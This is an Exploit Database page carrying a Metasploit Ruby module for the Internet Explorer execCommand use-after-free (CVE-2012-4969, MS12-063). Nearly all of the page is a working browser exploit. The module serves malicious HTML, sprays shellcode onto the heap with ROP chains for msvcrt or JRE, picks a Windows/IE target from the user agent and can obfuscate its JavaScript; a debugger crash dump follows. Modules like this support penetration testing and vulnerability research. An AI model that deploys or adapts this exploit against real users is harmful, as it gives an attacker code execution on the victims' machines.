Microsoft Internet Explorer – execCommand Use-After-Free (MS12-063) (Metasploit)

• Exploit Database
• 11 阅读

• 作者： Metasploit
  日期： 2012-10-10
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/21840/

• ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = GoodRanking
  
  	include Msf::Exploit::Remote::HttpServer::HTML
  	include Msf::Exploit::RopDb
  	include Msf::Exploit::Remote::BrowserAutopwn
  	autopwn_info({
  		:ua_name=> HttpClients::IE,
  		:ua_minver=> "7.0",
  		:ua_maxver=> "9.0",
  		:javascript => true,
  		:rank => GoodRanking
  	})
  
  	def initialize(info={})
  		super(update_info(info,
  			'Name' => "MS12-063 Microsoft Internet Explorer execCommand Use-After-Free Vulnerability ",
  			'Description'=> %q{
  				This module exploits a vulnerability found in Microsoft Internet Explorer (MSIE). When
  				rendering an HTML page, the CMshtmlEd object gets deleted in an unexpected manner,
  				but the same memory is reused again later in the CMshtmlEd::Exec() function, leading
  				to a use-after-free condition.
  
  				Please note that this vulnerability has been exploited in the wild since Sep 14 2012.
  
  				Also note that presently, this module has some target dependencies for the ROP chain to be
  				valid. For WinXP SP3 with IE8, msvcrt must be present (as it is by default).
  				For Vista or Win7 with IE8, or Win7 with IE9, JRE 1.6.x or below must be installed (which
  				is often the case).
  			},
  			'License'=> MSF_LICENSE,
  			'Author' =>
  				[
  					'unknown', # via ZDI
  					'eromang', # First public discovery
  					'binjo',
  					'sinn3r',# Metasploit
  					'juan vazquez' # Metasploit
  				],
  			'References' =>
  				[
  					[ 'CVE', '2012-4969' ],
  					[ 'OSVDB', '85532' ],
  					[ 'MSB', 'MS12-063' ],
  					[ 'URL', 'http://technet.microsoft.com/en-us/security/advisory/2757760' ],
  					[ 'URL', 'http://eromang.zataz.com/2012/09/16/zero-day-season-is-really-not-over-yet/' ],
  					[ 'URL', 'http://blog.vulnhunt.com/index.php/2012/09/17/ie-execcommand-fuction-use-after-free-vulnerability-0day/'],
  					[ 'URL', 'http://metasploit.com' ]
  				],
  			'Payload'=>
  				{
  					'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500
  				},
  			'DefaultOptions'=>
  				{
  					'ExitFunction' => "none",
  					'InitialAutoRunScript' => 'migrate -f',
  				},
  			'Platform' => 'win',
  			'Targets'=>
  				[
  					[ 'Automatic', {} ],
  					[ 'IE 7 on Windows XP SP3', { 'Rop' => nil, 'Offset' => '0x5fa', 'Random' => false } ],
  					[ 'IE 8 on Windows XP SP3', { 'Rop' => :msvcrt, 'Offset' => '0x5f4', 'Random' => false } ],
  					[ 'IE 7 on Windows Vista',{ 'Rop' => nil, 'Offset' => '0x5fa', 'Random' => false } ],
  					[ 'IE 8 on Windows Vista',{ 'Rop' => :jre,'Offset' => '0x5f4', 'Random' => false } ],
  					[ 'IE 8 on Windows 7',{ 'Rop' => :jre,'Offset' => '0x5f4', 'Random' => false } ],
  					[ 'IE 9 on Windows 7',{ 'Rop' => :jre,'Offset' => '0x5fc', 'Random' => true } ]
  				],
  			'Privileged' => false,
  			'DisclosureDate' => "Sep 14 2012",# When it was spotted in the wild by eromang
  			'DefaultTarget'=> 0))
  
  		register_options(
  			[
  				OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
  			], self.class)
  
  	end
  
  	def get_target(agent)
  		#If the user is already specified by the user, we'll just use that
  		return target if target.name != 'Automatic'
  
  		nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || ''
  		ie = agent.scan(/MSIE (\d)/).flatten[0] || ''
  
  		ie_name = "IE #{ie}"
  
  		case nt
  		when '5.1'
  			os_name = 'Windows XP SP3'
  		when '6.0'
  			os_name = 'Windows Vista'
  		when '6.1'
  			os_name = 'Windows 7'
  		end
  
  		targets.each do |t|
  			if (!ie.empty? and t.name.include?(ie_name)) and (!nt.empty? and t.name.include?(os_name))
  				vprint_status("Target selected as: #{t.name}")
  				return t
  			end
  		end
  
  		return nil
  	end
  
  	def junk(n=4)
  		return rand_text_alpha(n).unpack("V")[0].to_i
  	end
  
  	def nop
  		return make_nops(4).unpack("V")[0].to_i
  	end
  
  	def get_payload(t, cli)
  		code = payload.encoded
  
  		# No rop. Just return the payload.
  		return code if t['Rop'].nil?
  
  		# Both ROP chains generated by mona.py - See corelan.be
  		case t['Rop']
  		when :msvcrt
  			print_status("Using msvcrt ROP")
  			exec_size = code.length
  			stack_pivot = [
  				0x77c4e393, # RETN
  				0x77c4e392, # POP EAX # RETN
  				0x77c15ed5, # XCHG EAX, ESP # RETN
  			].pack("V*")
  			rop_payload = generate_rop_payload('msvcrt', code, {'pivot'=>stack_pivot, 'target'=>'xp'})
  
  		else
  			print_status("Using JRE ROP")
  			exec_size = 0xffffffff - code.length + 1
  			if t['Random']
  				stack_pivot = [
  					0x0c0c0c0c, # 0c0c0c08
  					0x7c347f98, # RETN
  					0x7c347f97, # POP EDX # RETN
  					0x7c348b05# XCHG EAX, ESP # RET
  				].pack("V*")
  			else
  				stack_pivot = [
  					0x7c347f98, # RETN
  					0x7c347f97, # POP EDX # RETN
  					0x7c348b05# XCHG EAX, ESP # RET
  				].pack("V*")
  			end
  			rop_payload = generate_rop_payload('java', code, {'pivot'=>stack_pivot})
  		end
  
  		return rop_payload
  	end
  
  	# Spray published by corelanc0d3r
  	# Exploit writing tutorial part 11 : Heap Spraying Demystified
  	# See https://www.corelan.be/index.php/2011/12/31/exploit-writing-tutorial-part-11-heap-spraying-demystified/
  	def get_random_spray(t, js_code, js_nops)
  
  		spray = <<-JS
  
  		function randomblock(blocksize)
  		{
  			var theblock = "";
  			for (var i = 0; i < blocksize; i++)
  			{
  				theblock += Math.floor(Math.random()*90)+10;
  			}
  			return theblock;
  		}
  
  		function tounescape(block)
  		{
  			var blocklen = block.length;
  			var unescapestr = "";
  			for (var i = 0; i < blocklen-1; i=i+4)
  			{
  				unescapestr += "%u" + block.substring(i,i+4);
  			}
  			return unescapestr;
  		}
  
  		var heap_obj = new heapLib.ie(0x10000);
  
  		var code = unescape("#{js_code}");
  		var nops = unescape("#{js_nops}");
  
  		while (nops.length < 0x80000) nops += nops;
  
  		var offset_length = #{t['Offset']};
  
  		for (var i=0; i < 0x1000; i++) {
  			var padding = unescape(tounescape(randomblock(0x1000)));
  			while (padding.length < 0x1000) padding+= padding;
  			var junk_offset = padding.substring(0, offset_length);
  			var single_sprayblock = junk_offset + code + nops.substring(0, 0x800 - code.length - junk_offset.length);
  			while (single_sprayblock.length < 0x20000) single_sprayblock += single_sprayblock;
  			sprayblock = single_sprayblock.substring(0, (0x40000-6)/2);
  			heap_obj.alloc(sprayblock);
  		}
  
  		JS
  
  		return spray
  	end
  
  	def get_spray(t, js_code, js_nops)
  		js = <<-JS
  		var heap_obj = new heapLib.ie(0x20000);
  		var code = unescape("#{js_code}");
  		var nops = unescape("#{js_nops}");
  
  		while (nops.length < 0x80000) nops += nops;
  		var offset = nops.substring(0, #{t['Offset']});
  		var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);
  
  		while (shellcode.length < 0x40000) shellcode += shellcode;
  		var block = shellcode.substring(0, (0x80000-6)/2);
  
  		heap_obj.gc();
  
  		for (var i=1; i < 0x300; i++) {
  			heap_obj.alloc(block);
  		}
  
  		var overflow = nops.substring(0, 10);
  		JS
  	end
  
  
  	def load_html1(cli, my_target)
  		p = get_payload(my_target, cli)
  
  		js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(my_target.arch))
  		js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(my_target.arch))
  		js_r_nops = Rex::Text.to_unescape(make_nops(4), Rex::Arch.endian(my_target.arch))
  
  		if my_target['Random']
  			js = get_random_spray(my_target, js_code, js_r_nops)
  		else
  			js = get_spray(my_target, js_code, js_nops)
  		end
  
  		js = heaplib(js, {:noobfu => true})
  		if datastore['OBFUSCATE']
  			js = ::Rex::Exploitation::JSObfu.new(js)
  			js.obfuscate
  		end
  
  		html = %Q|
  		<html>
  			<body>
  				<script>
  					var arrr = new Array();
  					arrr[0] = window.document.createElement("img");
  					arrr[0]["src"] = "#{Rex::Text.rand_text_alpha(1)}";
  				</script>
  
  				<iframe src="https://www.exploit-db.com/exploits/21840/#{this_resource}/#{@html2_name}"></iframe>
  				<script>
  					#{js}
  				</script>
  			</body>
  		</html>
  		|
  
  		return html
  	end
  
  	def load_html2
  		html = %Q|
  		<HTML>
  			<script>
  				function funcB() {
  					document.execCommand("selectAll");
  				};
  
  				function funcA() {
  					document.write("#{Rex::Text.rand_text_alpha(1)}");
  					parent.arrr[0].src = "https://www.exploit-db.com/exploits/21840/YMjf\\u0c08\\u0c0cKDogjsiIejengNEkoPDjfiJDIWUAzdfghjAAuUFGGBSIPPPUDFJKSOQJGH";
  				}
  
  			</script>
  			<body onload='funcB();' onselect='funcA()'>
  				<div contenteditable='true'>
  					a
  				</div>
  			</body>
  		</HTML>
  		|
  
  		return html
  	end
  
  	def this_resource
  		r = get_resource
  		return ( r == '/') ? '' : r
  	end
  
  	def on_request_uri(cli, request)
  		uri = request.uri
  		agent = request.headers['User-Agent']
  		my_target = get_target(agent)
  
  		vprint_status("Requesting: #{uri}")
  		print_status(agent)
  
  		# Avoid the attack if the victim doesn't have the same setup we're targeting
  		if my_target.nil?
  			print_error("Browser not supported, sending a 404: #{agent.to_s}")
  			send_not_found(cli)
  			return
  		end
  
  		if uri =~ /#{@html2_name}/
  			print_status("Loading #{@html2_name}")
  			html = load_html2
  		elsif uri =~ /#{@html1_name}/
  			print_status("Loading #{@html1_name}")
  			html = load_html1(cli, my_target)
  		elsif uri =~ /\/$/ or (!this_resource.empty? and uri =~ /#{this_resource}$/)
  			print_status("Redirecting to #{@html1_name}")
  			send_redirect(cli, "#{this_resource}/#{@html1_name}")
  			return
  		else
  			send_not_found(cli)
  			return
  		end
  
  		html = html.gsub(/^\t\t/, '')
  
  		send_response(cli, html, {'Content-Type'=>'text/html'})
  
  	end
  
  	def exploit
  		@html1_name = "#{Rex::Text.rand_text_alpha(5)}.html"
  		@html2_name = "#{Rex::Text.rand_text_alpha(6)}.html"
  		super
  	end
  
  end
  
  
  =begin
  0:008> r
  eax=00000000 ebx=0000001f ecx=002376c8 edx=0000000d esi=00000000 edi=0c0c0c08
  eip=637d464e esp=020bbe80 ebp=020bbe8c iopl=0 nv up ei pl nz na pe nc
  cs=001bss=0023ds=0023es=0023fs=003bgs=0000 efl=00010206
  mshtml!CMshtmlEd::Exec+0x134:
  637d464e 8b07mov eax,dword ptr [edi]ds:0023:0c0c0c08=????????
  
  0:008> u
  mshtml!CMshtmlEd::Exec+0x134:
  637d464e 8b07mov eax,dword ptr [edi]
  637d4650 57pushedi
  637d4651 ff5008calldword ptr [eax+8]
  
  0:008> k
  ChildEBP RetAddr
  020bbe8c 637d4387 mshtml!CMshtmlEd::Exec+0x134
  020bbebc 637be2fc mshtml!CEditRouter::ExecEditCommand+0xd6
  020bc278 638afda7 mshtml!CDoc::ExecHelper+0x3c91
  020bc298 638ee2a9 mshtml!CDocument::Exec+0x24
  020bc2c0 638b167b mshtml!CBase::execCommand+0x50
  020bc2f8 638e7445 mshtml!CDocument::execCommand+0x93
  020bc370 636430c9 mshtml!Method_VARIANTBOOLp_BSTR_oDoVARIANTBOOL_o0oVARIANT+0x149
  020bc3e4 63643595 mshtml!CBase::ContextInvokeEx+0x5d1
  020bc410 63643832 mshtml!CBase::InvokeEx+0x25
  020bc460 635e1cdc mshtml!DispatchInvokeCollection+0x14b
  020bc4a8 63642f30 mshtml!CDocument::InvokeEx+0xf1
  020bc4d0 63642eec mshtml!CBase::VersionedInvokeEx+0x20
  020bc520 633a6d37 mshtml!PlainInvokeEx+0xea
  020bc560 633a6c75 jscript!IDispatchExInvokeEx2+0xf8
  020bc59c 633a9cfe jscript!IDispatchExInvokeEx+0x6a
  020bc65c 633a9f3c jscript!InvokeDispatchEx+0x98
  020bc690 633a77ff jscript!VAR::InvokeByName+0x135
  020bc6dc 633a85c7 jscript!VAR::InvokeDispName+0x7a
  020bc708 633a9c0b jscript!VAR::InvokeByDispID+0xce
  020bc8a4 633a5ab0 jscript!CScriptRuntime::Run+0x2989
  =end